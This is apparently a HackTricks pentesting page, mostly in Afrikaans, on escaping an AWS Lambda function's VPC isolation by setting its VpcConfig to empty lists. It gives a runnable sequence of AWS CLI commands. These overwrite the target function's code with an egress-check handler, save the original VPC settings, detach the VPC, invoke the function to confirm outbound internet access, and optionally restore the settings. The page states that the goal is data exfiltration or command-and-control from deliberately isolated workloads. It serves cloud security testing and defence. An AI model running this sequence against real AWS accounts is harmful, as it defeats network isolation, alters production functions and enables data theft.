# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

{{#include ../../../../banners/hacktricks-training.md}}

Dwing 'n Lambda-funksie uit 'n beperkte VPC deur die konfigurasie na 'n leë VpcConfig by te werk (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-managed networking plane loop, herwin uitgaande internettoegang en egress-beheer wat deur privaat VPC-subnets sonder NAT afgedwing is, omseil.

## Abusing it

- Pre-reqs: lambda:UpdateFunctionConfiguration op die teikenfunksie (en lambda:InvokeFunction om te valideer), plus permitte om code/handler op te dateer indien jy dit verander.
- Assumptions: Die funksie is tans gekonfigureer met VpcConfig wat na privaat subnets sonder NAT wys (dus uitgaande internet is geblokkeer).
- Region: us-east-1

### Steps

0) Berei 'n minimale handler voor wat bewys dat uitgaande HTTP werk

cat > net.py <<'PY'
import urllib.request, json

def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

1) Neem huidige VPC-konfigurasie op (om later te herstel indien nodig)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json

2) Ontkoppel die VPC deur leë lyste te stel

aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

3) Roep aan en verifieer uitgaande toegang

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json

(Optional) Herstel oorspronklike VpcConfig

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi

### Impact
- Herwin onbeperkte uitgaande internettoegang vanaf die funksie, wat data-exfiltrasie of C2 moontlik maak vanaf workloads wat doelbewus geïsoleer is in privaat subnets sonder NAT.

### Example output (after detaching VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

### Cleanup
- As jy enige tydelike code/handler-wijzigings geskep het, herstel dit.
- Opsioneel herstel die oorspronklike VpcConfig wat in /tmp/orig-vpc.json gestoor is soos hierbo getoon.
{{#include ../../../../banners/hacktricks-training.md}}
